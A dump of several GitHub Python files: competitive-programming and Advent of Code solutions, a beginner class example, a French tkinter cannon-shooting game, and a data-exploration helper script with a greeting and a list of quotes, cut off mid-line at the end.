a_list.remove(max_a)\n\n min_diff = sys.maxsize\n answer1 = max_a\n answer2 = -1\n for i in range(n-1):\n diff = math.fabs(max_a/2 - a_list[i])\n if min_diff > diff:\n min_diff = diff\n answer2 = a_list[i]\n\n print(str(answer1) + \" \" + str(answer2))\n\n\n","repo_name":"inaty/competitive-programming","sub_path":"atcoder/srm/abc095_d.py","file_name":"abc095_d.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"39282240775","text":"from utils.io import readlines\n\n\ndef run(puzzle_input):\n trees = [[int(y) for y in x] for x in puzzle_input]\n\n total = 0\n for x in range(0, len(trees)):\n for y in range(0, len(trees)):\n\n if (x == 0 or x == len(trees) - 1) or (y == 0 or y == len(trees) - 1):\n total += 1\n else:\n tree = trees[y][x]\n if all((x < tree for x in trees[y][0:x])) or all((x < tree for x in trees[y][x + 1 :])):\n total += 1\n # Horizontal\n else:\n # Vertical\n column = [trees[t][x] for t in range(len(trees))]\n if all((x < tree for x in column[0:y])) or all((x < tree for x in column[y + 1 :])):\n print(tree)\n total += 1\n\n return total\n\n\nif __name__ == \"__main__\":\n print(run(readlines(\"data/puzzle_input.txt\")))\n","repo_name":"AntonMulder/aoc-2022","sub_path":"day_8/part_1.py","file_name":"part_1.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"42968234797","text":"# use of class \r\nclass Employee:\r\n company = \"Google\"\r\n salary = 200\r\n\r\nharry = Employee()\r\nharry.increment = 25 # adds increment in the class\r\n#harry.salary = 300 #instance attribute\r\nprint(harry.company)\r\nEmployee.company = \"youtube\" #changing the inside info in class\r\nprint(harry.company)\r\nprint(harry.salary)","repo_name":"AdityaDhuri/Python_vscode","sub_path":"21_oop_class.py","file_name":"21_oop_class.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7122626252","text":"#Elèves: Sophia CHABOT, Eugène LALLAIN\n\n#Import des bibliothèques/fonctions requises\nfrom tkinter import *\nfrom random import randint\nfrom math import tan,sqrt,radians\n\n#Fonctions du jeu:\n##Tracer une cible:\ndef draw_cible():\n global x, y\n r = lvl_scale.get()\n cible = canvas.create_polygon(x,y,x+r,y+r,x,y+2*r,x-r,y+r,tag='cible',outline=\"\",fill='yellow')\n x = canvas.coords(cible)[0]\n y = canvas.coords(cible)[1]\n##Orientation du canon et trajectoire du tir:\ndef tracer(k):\n global tube, bullet, x, y\n canvas.delete(tube)\n canvas.delete(\"traj\")\n bullet = canvas.create_line(25, 435, 800, 435-775*k, fill='black', tag='traj')\n tube = canvas.create_line(25, 435, 25+30/sqrt(k**2+1), 435-k*30/sqrt(k**2+1), width=20, fill='#735F40')\n \n##Verifier si le joueur gagne\ndef result(k):\n global cible, x, y\n contact1 = [canvas.gettags(item) for item in canvas.find_overlapping(x, y, x, y+2*lvl_scale.get())]\n contact2 = [canvas.gettags(item) for item in canvas.find_overlapping(x-lvl_scale.get(), y+lvl_scale.get(), x+lvl_scale.get(), y+lvl_scale.get())]\n if (\"traj\",) in contact1+contact2:\n enter[\"state\"] = \"disabled\"\n win.place(x=200, y=200, width=300, height=90)\n win_score.config(text=f\"Vous avez gagné en {count} essais !\")\n win_score.place(x=200, y=270, width=300, height=60)\n\n##Tirer\ndef tirer():\n global count\n #On vérifie que l'angle entré soit bien un nombre\n if not ent_angle.get().isdigit():\n angle_erreur.place(x=395, y=5, width=150, height=h)\n return\n angle_erreur.place(x=800, y=600)\n count+=1\n comptage.config(text=\"Nombre d'essais: \"+str(count))\n if ent_angle.get() == \"90\": #tan(x) n'est pas définie pour x = 90\n k = 500\n else:\n k=tan(radians(int(ent_angle.get())))\n tracer(k)\n result(k)\n \n##Relancer le jeu:\ndef reset():\n global count, win, win_score, x, y\n enter[\"state\"] = \"active\"\n win.place(x=800, y=600)\n win_score.place(x=800, y=600)\n canvas.delete('traj','cible')\n count=0\n comptage.config(text=\"Nombre d'essais : 0\")\n lvl.config(text=\"Rayon : \"+str(lvl_scale.get()))\n x = randint(lvl_scale.get(), 700-lvl_scale.get())\n y = randint(h+2*m, 430-2*lvl_scale.get())\n draw_cible() \n\n#Fenêtre de jeu:\nfenetre=Tk()\nfenetre.title('CanonBall')\nfenetre.geometry(\"800x500\")\nfenetre.maxsize(800, 500) \nfenetre.minsize(800, 500) \nfenetre.configure(background='#406AB0')\n\n#Canvas:\ncanvas = Canvas(fenetre, width=700, height=460, bg='#99ccff')\ncanvas.place(x=0, y=40)\n\n#Variables:\n##Comptage d'essai réalisé:\ncount = 0\n##Marge\nm=5\n##Hauteur des label\nh=30\n##Scale de niveau qui défini le rayon de la cible\nlvl_scale = Scale(fenetre,from_=50,to=10,variable=IntVar,font=(\"Calibri\",12),bd=0,troughcolor='#99ccff')\nlvl_scale.set(30)\nlvl_scale.place(x=728,y=150,width=45,height=255)\n##Coordonnée de la cible (faisant en sorte qu'elle soit toujours entièrement visible):\nx = randint(lvl_scale.get(), 700-lvl_scale.get())\ny = randint(h+2*m, 430-2*lvl_scale.get())\n\n#Barre d'information/Menu\n##Saisie de l'angle de tir:\nask_angle = Label(fenetre, text=\"Entrez un angle :\", font=(\"Calibri\",12))\nask_angle.place(x=5, y=5, width=120, height=h)\nent_angle = Entry(fenetre, font=(\"Calibri\",12))\nent_angle.place(x=130, y=5, width=60, height=h)\n##Affichage si l'entrée d'angle n'est pas conforme\nangle_erreur = Label(fenetre, text=\"Veuillez rentrer un entier!\", bg=\"red\", font=(\"Calibri\",9,\"bold\"),fg=\"white\")\n##Bouton de lancement\nenter = Button(fenetre, text='Go !', command=tirer, font=(\"Calibri\",12))\nenter.place(x=195, y=5, width=50, height=h)\n##Bouton de replacement de la cible:\nreplace = Button(fenetre, text='Replacer une cible', command=reset, font=(\"Calibri\",12,\"bold\"))\nreplace.place(x=250, y=5, width=140, height=h)\nredef = Button(fenetre, text='Redéfinir', command=reset, font=(\"Calibri\",12,\"bold\"))\nredef.place(x=710, y=112, width=85, height=h)\n##Affichage du nombre d'essai:\ncomptage = Label(fenetre, text=\"Nombre d'essais : 0\", font=(\"Calibri\",12))\ncomptage.place(x=550, y=5, width=150, height=h)\n##Affichage du niveau\nlvl = Label(fenetre, text=\"Rayon : \"+str(lvl_scale.get()), font=(\"Calibri\",12,\"bold\"),bg='#406AB0',fg='white')\nlvl.place(x=710, y=80, width=85, height=h)\n##Bouton quitter\nquitter = Button(fenetre, text='QUITTER', command=fenetre.destroy, font=(\"Calibri\",12))\nquitter.place(x=710, y=500-h-5, width=85, height=h)\n\n#Elements graphique du jeu\n##Sol\nfloor = canvas.create_rectangle(0, 435, 700, 500, outline=\"\", fill='#8BA464')\n##Canon\nbase = canvas.create_oval(10, 420, 40, 450, outline=\"\", fill='#735F40')\ntube = canvas.create_line(25, 435, 25+30/sqrt(2), 435-30/sqrt(2), width=20, fill='#735F40')\n##Affichage si le joueur gagne\nwin = Label(fenetre, text=\"Bien joué !\", font=('Calibri',30,\"bold\"))\nwin_score = Label(fenetre, font=('Calibri', 12))\n##Cible\ndraw_cible()\n\n#Détection de la touche \"Entrée\" pour tirer\nfenetre.bind(\"<Return>\", lambda event: tirer())\n\n#Lancement du gestionnaire d'évènements\nfenetre.mainloop()\n","repo_name":"SophiaChbt/Code","sub_path":"CanonBall-tkinter.py","file_name":"CanonBall-tkinter.py","file_ext":"py","file_size_in_byte":5032,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22091583080","text":"'''\nThis initializing function will load the standard libraries for Python data\nmunging, return to the notebook confirmation that the libraries are loaded, \ngive a request to load the inline matplotlib library (must be done separately),\nthen set a function (`eda`) that will run a standard, but basic, EDA on a \nDataFrame that is loaded previously.\n\nDeveloped by Ben P. Meredith, Ed.D.\n'''\n\n'''\nFirst, let's wake up Python and have her great us.\n'''\n\nfrom datetime import datetime\ntime = datetime.now().strftime('%H:%M:%S')\nprint ('The time is ', time, '\\n')\nif time <= '06:00:00':\n print(\"😴 GOOD MORNING! You are up and working awfully early!\", '\\n')\n tod = 'morning'\nelif '06:00:00' < time < '11:59:59':\n print(\"😀 GOOD MORNING!\", \"\\n\")\n tod = 'morning'\nelif '12:00:00' < time < '18:00:00':\n print('😎 GOOD AFTERNOON!', '\\n')\n tod = 'afternoon'\nelse:\n print('ðŸ§� GOOD EVENING!', '\\n')\n tod = 'evening'\n \n# print(\"Are we Data Munging this\",tod, '?','\\n', '\\n')\n# print('🤓 You know how I love Data Munging!', '\\n','(I just love saying the words \"Data MUNGING\"! It is such a funny term!)')\n\n\n'''\nNow let's add some pithy and thought provoking sayings with which Python will greet me,\n(and show off its intelligence and worldliness).\n'''\n\nimport random\ns = ['Always remember that the toes you step on today may be attached to the ass you have to kiss tomorrow.',\n 'Today is a good day to be alive!', \n 'Coffee is the nector of life',\n 'Frodo Lives!',\n 'Life in a glass house is revealing.', \n 'Experience enables you to recognize a mistake every time you repeat it.',\n 'To write with a broken pencil is pointless.',\n 'Profanity is the effort of a feeble mind to express itself forcefully.',\n 'America is one of the few places you can say what you want without thinking.',\n \"Unless you have never been tempted, don't pass judgment on someone who has yielded.\",\n \"Don't mistake activity for achievement.\",\n \"It's a great pity the right of free speech isn't based on the obligation to say something sensible.\",\n \"You can't make anything idiot proof because idiots are so ingenious. ~ Ron Burns\",\n 'Many would be scantily clad if clothed in their humility. ~ Anonymous',\n \"It's great to be great, but it's greater to be human.~ Will Rogers\",\n 'Some folks get lost in thought because it is unfamiliar territory',\n \"If quitters never win, and winners never quit, then who is the fool who said, 'quit while you're ahead?'\",\n 'If silence is golden, not many people can be arrested for hoarding.',\n 'I drink and I know things ~ Tyrion Lannister',\n 'You can never make your dreams come true by oversleeping.',\n 'Never have a battle of wits with an unarmed man',\n 'Pride is the only poison that is good for you when swallowed.',\n 'An egotist is a person who thinks that if they had not been born people would have asked why not.',\n 'The only fool bigger than the person who knows it all is the person who argues with him.',\n 'Never argue with a fool - people may not notice the difference',\n \"I’m Mary Poppins Y’all! – Yondu\",\n \"I'm under no obligation to make sense to you - Python\",\n \"The best place to find a helping hand is at the end of your arm.\",\n \"The opinions expressed by the husband of this house do not always represent the views of the management.\",\n \"Life is a one-way street and you're not coming back.\",\n \"Tread often the path to thy friend's house lest weeds grow to obscure thy way.\",\n \"The well-oiled nut behind the steering wheel is the most unreliable part of the car.\",\n \"A bachelor is a man who has failed to embrace his opportunities.\",\n \"A friend is one who knows all about you and loves you just the same.\",\n \"Some people have difficulty in counting calories, and they have figures to prove it.\",\n \"We are all cast in the same mold, some being moldier than others.\",\n \"Friendship is the one bright light, that keeps on burning day and night.\",\n \"No road is long with good company.\",\n \"Not all men are fools, some are bachelors.\",\n \"A wife is a great consolation to a man in all the troubles a bachelor never has.\",\n \"The world is full of willing people, some willing to work, and the rest, willing to let them.\",\n \"One thorn of experience is worth a whole wilderness of warning.\",\n \"When the going gets tough, the tough get going.\",\n \"Money never buys friends, it only hires them.\",\n \"A bachelor is one who hesitates before all is lost.\",\n \"Don't despise the little things, often the mosquito is more bothersome than the elephant.\",\n \"Too many square meals make too many round people.\",\n \"Age is in the mind, not the calendar.\",\n \"Man is of clay, but it takes a woman to make a mug of him.\",\n \"Trusting someone is harder than loving them.\",\n \"We cannot discover new oceans without loosing sight of the shore.\",\n \"We cannot become what we want to be by remaining who we are.\",\n \"Do not fill the room with conversations you aren't having.\",\n \"The worst loneliness is the kind felt while inside a relationship - Alone Together.\",\n \"Some people fill the gaps of loneliness and others emphasize the gaps.\"\n \"The highest form of ignorance is when you reject something you don't know anything about.\",\n \"It is prudent not to place confidence in that by whom we have once been deceived.\"\n \"Never trade respect for attention.\",\n \"Music and passion are always in fashion at the Copacabana.\",\n \"Some people never change, and you have to accept that.\",\n \"Trying to define yourself is like tyrying to bite your own teeth.\",\n \"Wir begreifen und leben, nur was wir selbst sind oder sein koennen.\",\n \"A certain darkness is needed to see the stars.\", \n \"Assume good intent. Act accordingly.\",\n \"Don't judge people for the choices they make when you don't know the options they had to choose from.\",\n \"Be the person your dog thinks you are.\",\n \"'Clutter' is not just physical stuff. It's old ideas, toxic relationships and bad habits.\", '\\n', \n\"Clutter is anything that does not support your better self.\",\n \"'No one can make you fell inferior, unless you allow them' is easy to say and to understand. It is even easy to believe. The challenge is in living it.\",\n \"It takes just a moment to hurt someone, but it often takes years for that person to heal.\", \n \"People have the annoying habit of remembering things they shouldn't.\",\n \"Fear is a reasonable response to life.\",\n \"When you counsel someone, you should appear to be reminding him of something he had forgotten, not of the light he was unable to see.\",\n \"The picture in your head of how life should be causes you the most problems.\",\n \"Get enough sleep.\",\n \"If someone cannot make the effort to be in your life, they don't deserve to be there.\",\n \"A good cup of tea can solve just about anything.\",\n \"Stop talking and listen.\",\n \"Your level of unhappiness is directly related to the distance between who you are in public and who you are in private.\",\n \"You don't owe anyone an explanation for your choices or preferences.\", \n \"If I have to ask you for your attention, then you don't deserve mine.\",\n \"We all have one person who hurt us so much that it changed us forever.\", \n \"Sometimes our bones feel the weight of all of the lives we are not living.\", \n \"Produce a world where a chicken can cross the road without having its motives questioned.\",\n \"In 100 attempts at solving a problem, you learn 99 ways not to do something.\",\n \"Reality is just a perception.\",\n \"Stay close to anything that makes you feel alive.\",\n \"Life begins when you first realize how soon it will end.\",\n \"Everyone wants the truth, but no one wants to be honest.\",\n \"Everyone wants the truth until it is given.\", \n \"Happiness exists when you don't know a thing.\",\n \"Trust is like an eraser, it gets smaller and smaller after every mistake.\",\n \"At some point in your life, you are going to have to start demanding what you deserve and be willing to walk away if what you need cannot be provided.\",\n \"Nowadays people know the price of everything and the value of nothing.\",\n \"Leadership is the ability to translate vision into reality.\",\n \"The strongest people are not those who show strength in front of us, but those who win battles we know nothing about.\",\n \"When you are already in pain, when you are already hurt, don't quit. Get a reward from your efforts.\",\n \"Never, Never, Never give up ~ Winston Churchill\",\n \"Success is not measured by winning, but by the number of times you were knocked down and got back up.\",\n \"It takes courage to grow up and be who you are suppose to be.\",\n \"A ship is always safe in harbor, but that is not what it's built for.\", \n \"Who Dares Wins\",\n \"Breathe\",\n \"Run\",\n \"The world lives up to all of your expectations.\", \n \"42\", \n ]\nr = random.randint(2, (len(s)-1))\n\n\n\nprint('\\n','\\n',\"_____________________________________________________\",'\\n','\\n',\"YOUR FORTUNE COOKIE THOUGHT FOR TODAY: \", \n '\\n','\\n', s[r],'\\n','\\n',\"_____________________________________________________\",'\\n','\\n',)\n\n \n'''\nNext, we ask her to load the libraries for work.\n'''\n \nprint('ðŸ§� I am initiating the following for us:', '\\n','\\n')\n\nimport warnings\nwarnings.filterwarnings('ignore')\nprint('1. Warnings: Off')\n\nimport pandas as pd\nprint('2. Pandas Initiated as pd')\n\nimport numpy as np\nprint('3. Numpy Initiated as np')\n\nimport matplotlib.pyplot as plt\nprint('4. Matplotlib.pyplot Initiated as plt')\n\nimport seaborn as sns\nsns.set(style='darkgrid')\nprint('5. Seaborn Initiated as sns. Style is set at \\'darkgrid\\'.')\n\n# import ggplot as gg\nprint('6. ggplot is having problems.')\n\nimport matplotlib.style\nimport matplotlib as mpl\nplt.style.use('fivethirtyeight')\nprint('7. Matplotlib Initiated as mpl. Matplotlib style set to \"fivethirtyeight\"')\n\nfrom tqdm import tqdm\nprint('8. tqdm Initiated')\n\nnp.random.seed(42)\nprint('9. Random Seed set at: 42')\n\nfrom IPython.display import display\nprint('10. IPython Display Initiated')\n\nfrom bs4 import BeautifulSoup\nprint('11. BeautifulSoup Initiated')\n\nimport csv\nprint('12. Import csv Initiated')\n\nimport random\nprint('13. Import random Initiated','\\n')\n\npd.options.display.max_rows = 10000\npd.options.display.max_columns = 1000\n\nprint('14. Any other library that you will need for the functions will be initiated as you call for them.')\n\nprint('___________________________________________','\\n','\\n', 'ðŸ§� The following functions are also ready:', '\\n')\n\nprint('\\n', \"eda(df) function ready for use.\", '\\n', \n '\\t', \"The eda(df) function will return a basic eda on our DataFrame. This includes the DataFrame's shape,\"\n '\\n', '\\t', \"description, data types, statistical information.\")\n\nprint('\\n', \"vda(df) function ready for use.\", '\\n', \n '\\t', 'This function will return a visual data analysis of both the numeric and categorical columns in', \n '\\n', '\\t', 'the DataFrame.')\n\nprint('\\n', 'histogram(df) function ready for use - in the event you want to do a separate one.', '\\n',\n '\\t', 'This function will return a histogram of both the numeric and categorical columns in', \n '\\n', '\\t', 'the DataFrame.')\n\nprint('\\n', 'two_dimension_histogram(x, y) function is ready for use - in the event you want to do a separate one.', '\\n',\n '\\t', 'This function will return a two dimensional histogram. This will provide counts of features ',\n '\\n', '\\t', 'against another feature.')\n \nprint('\\n', 'pairplot(df, feature) function ready for use - in the event you want to do a separate one.', '\\n',\n '\\t', 'This function will return a pairplot of both the numeric columns in the DataFrame', \n '\\n', '\\t', 'against the feature you specify.')\n\nprint('\\n', 'heatmap(df) function ready for use - in the event you want to do a separate one.', '\\n',\n '\\t', 'This function will return a heatmap of the numeric columns in the DataFrame.')\n\nprint('\\n', 'kdeplot(df) function ready for use - in the event you want to do a separate one.', '\\n',\n '\\t', 'This function will return a kdeplot of the categorical columns in the DataFrame.')\n\nprint('\\n','correlations(compare_feature, df) function ready for use.', '\\n',\n '\\t','This function will return a list of the correlations between the numeric columns in the DataFrame.','\\n', \n '\\t', 'Additionally, this function will return three evaluations of the correlations (STRONGLY, MILDLY, or','\\n', \n '\\t', 'NEGATIVELY). STRONGLY correlated are those greater than 0.50. MILDLY correlated are those between 0.40','\\n', \n '\\t', 'and 0.49. NEGATIVELY correlated are any negative correlations.' ,'\\n', \n '\\t', 'It will return strong_correlation, mild_correlation, and neg_correlation.', '\\n','\\n', \n '\\t', 'IT WILL NOT RETURN AN EVALUATION FOR CORRELATIONS BETWEEN 0.0 - 0.39.') \n\nprint('\\n', 'do_we_need_to_clean(df) function ready for use.','\\n',\n '\\t','This function will evaluate our dataset for null values. It will return a recommended_drop_list','\\n',\n '\\t','of features where more than 10.01% of total values for that feature are null or missing.''\\n',\n '\\t','When used in conjunction with drop_recommended_list(df), this function makes cleaning data just', '\\n',\n '\\t','a bit easier. However, IT IS NOT DESIGNED TO DO ALL OF THE DATA CLEANING.')\n\nprint('\\n', 'drop_recommended_list(df) function ready for use.','\\n',\n '\\t','This function will delete from the DataFrame the features identified in the \"recommended_drop_list\"','\\n',\n '\\t','from the \"do_we_need_to_clean(df)\" function.')\n\nprint('\\n', 'break_down_features(df) function ready for use.','\\n',\n '\\t','This function will split the numeric and categorical features into two sets: num_columns, cat_columns.')\n\nprint('\\n', 'predictive_strength(df) function ready for use.', '\\n',\n '\\t', \"This function determines the prescriptive strength of numeric features in our dataset. 'Prescriptive\",'\\n',\n '\\t',\"Strength' equals the measure of precentage of null values plus skew of the feature's data subtracted \",'\\n',\n '\\t',\"from 100%. The result tells us the feature's value's confidence score. A 100 score says that there are\",'\\n',\n '\\t',\"no nulls within the data set and there is no skew to the data.\")\n\nprint('\\n', \"pandas_profiling(df) function ready for use.\", '\\n', \n '\\t', \"The pandas_profiling(df) function will return an advanced eda on our DataFrame. This includes the \",'\\n',\n '\\t', \"DataFrame's shape, description, data types, statistical information.\")\n\nprint('\\n', \"feature_review(df) function ready for use.\", '\\n',\n '\\t', \"The feature_review(df) function will ask the analyst to look at each feature one at a time.\", '\\n',\n '\\t', \"During each examination, Python will show the analyst salient aspects of each feature and pose to\", '\\n',\n '\\t', \"analyst the ability to change the feature type and delete the feature from the dataset.\")\n\nprint('\\n', \"___________________________________________\", '\\n')\n\n\n\nprint('\\n', '\\n', 'ðŸ™� ðŸ™� PLEASE INITIATE %matplotlib inline OR %matplotlib notebook before we go further. Thank you!')\n\n\ndef histogram(df):\n fig = plt.figure(figsize = (15,15))\n ax = fig.gca()\n df[df.keys()].hist(ax=ax)\n fig.tight_layout()\n fig.show()\n\ndef two_dimension_histogram(x, y):\n plt.hist2d(x, y, bins=30, cmap='Blues')\n color_bar = plt.colorbar()\n color_bar.set_label('counts in bin')\n #plt.show()\n\ndef pairplot(df, feature):\n g = sns.PairGrid(df, hue=feature)\n g.map(plt.scatter)\n g.add_legend();\n plt.show()\n \ndef heatmap(df):\n plt.figure(figsize = (20,20))\n sns.heatmap(df.corr(), cmap='plasma', annot=True)\n plt.title(\"Confusion Matrix: Coefficients\", fontsize = 28)\n plt.show()\n \ndef kdeplot(df):\n sns.kdeplot(df, data2=None, shade=False, vertical=False, kernel='gau', bw='scott', gridsize=100, cut=3, clip=None, legend=True, cumulative=False, shade_lowest=True, cbar=False, cbar_ax=None, cbar_kws=None, ax=None)\n plt.show()\n \n \n'''\nNext is the eda function load that includes. \n'''\n \ndef eda(df):\n missing_values_count = df.isnull().sum()\n total_cells = np.product(df.shape)\n total_missing = missing_values_count.sum()\n print('\\n', 'df total missing values percentage: ', '\\n', (total_missing/total_cells) * 100)\n print('_______________________________________________')\n display(\"df Head: \", df.head())\n print('_______________________________________________')\n obs, features = df.shape\n print(\"observations (rows): \", obs, '\\n',\"features (columns): \", features)\n\n print('_______________________________________________')\n print('\\n', 'df keys: ', '\\n', df.keys())\n print('_______________________________________________')\n display( 'df describe: ', df.describe())\n print('_______________________________________________')\n print('\\n', 'df info: ', '\\n', df.info())\n print('_______________________________________________')\n print('\\n', 'df types: ', '\\n', df.dtypes)\n print('_______________________________________________')\n print('\\n', 'df count: ', '\\n', df.count())\n print('_______________________________________________')\n print('\\n', 'df.isnull() count: ', '\\n', df.isnull().sum())\n print('_______________________________________________')\n \n \n num_columns = []\n cat_columns = []\n \n for key in df.keys():\n if df[key].dtypes == 'int64':\n num_columns.append(key)\n elif df[key].dtypes == 'float64':\n num_columns.append(key)\n else:\n cat_columns.append(key)\n \n \n n = num_columns\n c = cat_columns\n\n if len(n) >= 2: #If there are more than two numeric features, Python will plot a heatmap and suggest a pairplot of the DataFrame\n print (\"There are\", len(num_columns), \" numeric columns in this data set.\", '\\n',)\n print(\"The numeric columns are: \", '\\n', num_columns, '\\n',)\n print('_______________________________________________', '\\n') \n print('________________________________________________', \n '\\n','\\n', \n \"Consider using the pairplot(df, feature) for \",\n \"this analysis.\", '\\n','\\n', '__________________________________________________')\n \n else: #If there is only one numeric column, Python will not plot it.\n print(\"There are not enough numerical columns for correlational analyses. Please attempt other VDA techniques.\")\n\n if len(c) >= 2: # If there are two or more categoric features, Python will plot each feature's histogram\n print (\"There are\", len(cat_columns), \" categoric columns in this data set.\", '\\n')\n print(\"The categorical columns are: \", '\\n', cat_columns, '\\n',)\n print('_______________________________________________', '\\n')\n \n else:\n print(\"There are not enough categorical columns for analysis in this initial eda.\")\n print('_______________________________________________', '\\n') \n \n print('\\n', '\\n', 'May I suggest that you run a VDA - vda(df) - next?')\n \n \ndef vda(df):\n num_columns = []\n cat_columns = []\n \n for key in df.keys():\n if df[key].dtypes == 'int64':\n num_columns.append(key)\n elif df[key].dtypes == 'float64':\n num_columns.append(key)\n else:\n cat_columns.append(key)\n \n \n n = num_columns\n c = cat_columns\n\n if len(num_columns) >= 2: #If there are more than two numeric features, Python will plot a heatmap and suggest a pairplot of the DataFrame\n print (\"There are\", len(num_columns), \" numeric columns in this data set.\", '\\n',)\n print(\"The numeric columns are: \", '\\n', num_columns, '\\n',)\n print('_______________________________________________', '\\n')\n \n # Plot a Confusion Matrix of the DataFrame\n heatmap(df)\n \n print('________________________________________________', '\\n','\\n', \"Consider using the pairplot(df, feature) for this analysis.\", '\\n','\\n', \"__________________________________________________\")\n \n else: #If there is only one numeric column, Python will not plot it.\n print(\"There are not enough numerical columns for correlational analyses. Please attempt other VDA techniques.\")\n\n if len(cat_columns) >= 2: # If there are two or more categoric features, Python will plot each feature's histogram\n print (\"There are\", len(cat_columns), \" categoric columns in this data set.\", '\\n')\n print(\"The categorical columns are: \", '\\n', cat_columns, '\\n',)\n print('_______________________________________________', '\\n')\n \n print('Categorical Features Plotted:')\n for col in cat_columns:\n plt.hist(df[col])\n plt.title(col)\n plt.legend()\n plt.show()\n\n else:\n print(\"There are not enough categorical columns for analysis in this initial eda.\")\n print('_______________________________________________', '\\n') \n \n \n print(\"The next bar charts plot features with less than 10 unique numbers against all other features.\", '\\n','\\n', \"Additionally, I am providing you with the coefficients for each pair (in the event that the visual does not show how strong of a relationship exists between the two features.\", '\\n','\\n', \"If I see a mild or strong relationship between two features, I will alert you.\" '\\n','\\n',) \n ca = 'null'\n q = 'null'\n\n for key in df.keys():\n if (df[key].nunique() <= 10) and (df[key].dtype != 'object'):\n for rkey in df.keys():\n if rkey != key:\n q = key\n ca = rkey\n\n plt.bar(df[q], df[ca], data=df)\n plt.xlabel(q)\n plt.ylabel(ca)\n plt.show()\n\n coef = df[ca].corr(df[q])\n print(\"The coefficient between \", q, '&', ca,' is:', coef, '\\n',)\n if coef <= -0.5:\n print(\"There is a strong negative coorelation between these two features. Pay Attention!\", '\\n','\\n',)\n elif coef >= 0.5:\n print(\"There is a strong positive correlation between these two features. Pay Attention!\", '\\n','\\n',)\n elif (coef >= -0.49) and (coef <= -0.4):\n print(\"There is a mild negative correlation between these two features. We need to look at this a bit more.\", '\\n','\\n',)\n elif (coef <= 0.49) and (coef >= 0.4):\n print(\"There is a mild positive correlation between these two features. We need to look at this a bit more.\", '\\n','\\n',)\n\n else:\n pass \n\n\ndef do_we_need_to_clean(df):\n print('_______________________________________________') \n obs, features = df.shape\n print(\"observations (rows): \", obs, '\\n',\"features (columns): \", features)\n print('_______________________________________________')\n \n full_drop_list = []\n recommended_drop_list = []\n \n tenpercent = obs*.101\n\n for key in df.keys():\n size = df[key].count()\n nulls = df[key].isnull().sum()\n \n if nulls > 0:\n full_drop_list.append(key)\n if nulls > tenpercent:\n recommended_drop_list.append(key)\n \n print('\\n', '\\t', \"The complete drop list is, where there are values missing or there are null values: \",\n '\\n', '\\n', '\\t', full_drop_list)\n print('\\n', '\\n', '\\n', '\\t', \"The recommended drop list is: \", \n '\\n', '\\n', '\\t',recommended_drop_list, \n '\\n', '\\n', '\\t',' as these values have more than a statistical 10.1% missing values.')\n \n answer = input('Would you like me to delete the recommended values? [y or n]')\n if answer == 'y':\n for key in recommended_drop_list:\n del df[key]\n print('\\n', '\\n', '\\t','I have deleted the the following values:', recommended_drop_list)\n else: \n print('\\n', '\\n', '\\t','I have not delted any values. If you want to do this later, use the \\'drop_recommended_list(df)\\' function.')\n return recommended_drop_list\n\ndef drop_recommended_list(df):\n recommended_drop_list = do_we_need_to_clean(df)\n for key in recommended_drop_list:\n del df[key]\n\ndef correlations(compare_feature, df):\n num_columns = []\n cat_columns = []\n\n for key in df.keys():\n if df[key].dtypes == 'int64':\n num_columns.append(key)\n elif df[key].dtypes == 'float64':\n num_columns.append(key)\n else:\n cat_columns.append(key)\n \n ndf = df[num_columns]\n cdf = df[cat_columns]\n \n strong_correlation = []\n mild_correlation = []\n neg_correlation = []\n \n #compare_feature = 'SalePrice'\n tempdf = pd.DataFrame(columns=['compare feature','feature', 'correlation'])\n\n counter = 0\n for key in tqdm(num_columns):\n if (ndf[key].corr(df[compare_feature]) >= 0.51) and (key != compare_feature):\n print(compare_feature, ' & ', key, ' are STRONGLY correlated with a ', ndf[key].corr(df[compare_feature]))\n strong_correlation.append(key)\n elif (ndf[key].corr(df[compare_feature]) <= 0.49) and (ndf[key].corr(df[compare_feature]) >= 0.40) and (key != compare_feature):\n print(compare_feature, ' & ', key, ' are MILDLY correlated with a ', ndf[key].corr(df[compare_feature]))\n mild_correlation.append(key)\n elif (ndf[key].corr(df[compare_feature]) <= 0.0) and (key != compare_feature):\n print(compare_feature, ' & ', key, ' are NEGATIVELY correlated with a ', ndf[key].corr(df[compare_feature]))\n neg_correlation.append(key)\n \n tempdf.loc[counter, 'compare feature'] = compare_feature\n tempdf.loc[counter, 'feature'] = key\n tempdf.loc[counter, 'correlation'] = (ndf[key].corr(df[compare_feature]))\n counter += 1\n\n print('\\n', '\\n',tempdf.sort_values(by='correlation', ascending=False).head(25))\n print('\\n', '\\n', 'STRONGLY correlated with', compare_feature, ': ', strong_correlation)\n print('\\n', '\\n', 'MILDLY correlated with', compare_feature, ': ', mild_correlation)\n print('\\n', '\\n', 'NEGATIVELY correlated with', compare_feature, ': ', neg_correlation)\n\n return strong_correlation, mild_correlation, neg_correlation\n\n\ndef break_down_features(df):\n num_columns = []\n cat_columns = []\n\n for key in df.keys():\n if df[key].dtypes == 'int64':\n num_columns.append(key)\n elif df[key].dtypes == 'float64':\n num_columns.append(key)\n else:\n cat_columns.append(key)\n \n print('There are ', len(num_columns),' numeric columns and ', len(cat_columns), 'categorical columns in this dataset.')\n \n return num_columns, cat_columns\n\ndef predictive_strength(df):\n import pandas as pd\n condf = pd.DataFrame(columns = ['feature', 'nulls', 'skewness', 'con_score' ]) \n counter = 1\n num_columns = []\n cat_columns = []\n \n for key in df.keys():\n if df[key].dtypes == 'int64':\n num_columns.append(key)\n elif df[key].dtypes == 'float64':\n num_columns.append(key)\n else:\n cat_columns.append(key)\n\n for key in df[num_columns]:\n t = df[key].isnull().sum().sum()\n u = t/len(df[key])\n v = df[key].skew()\n if v < 0:\n condf.loc[counter, 'skewness'] = (v)\n v = v*-1 \n else:\n condf.loc[counter, 'skewness'] = (v)\n c = 100-(t/100) - v\n # print(key, \" : \", t, '/', len(df[key]), '=', u)\n condf.loc[counter, 'feature'] = (key)\n condf.loc[counter, 'nulls'] = (t)\n # condf.loc[counter, 'skewness'] = (v)\n condf.loc[counter, 'con_score'] = (\"%.2f\" % round(c,2))\n counter += 1\n\n print('Feature Predictive Confidence Score:', '\\n', \n \"This score for each feature is a measure of that feature's 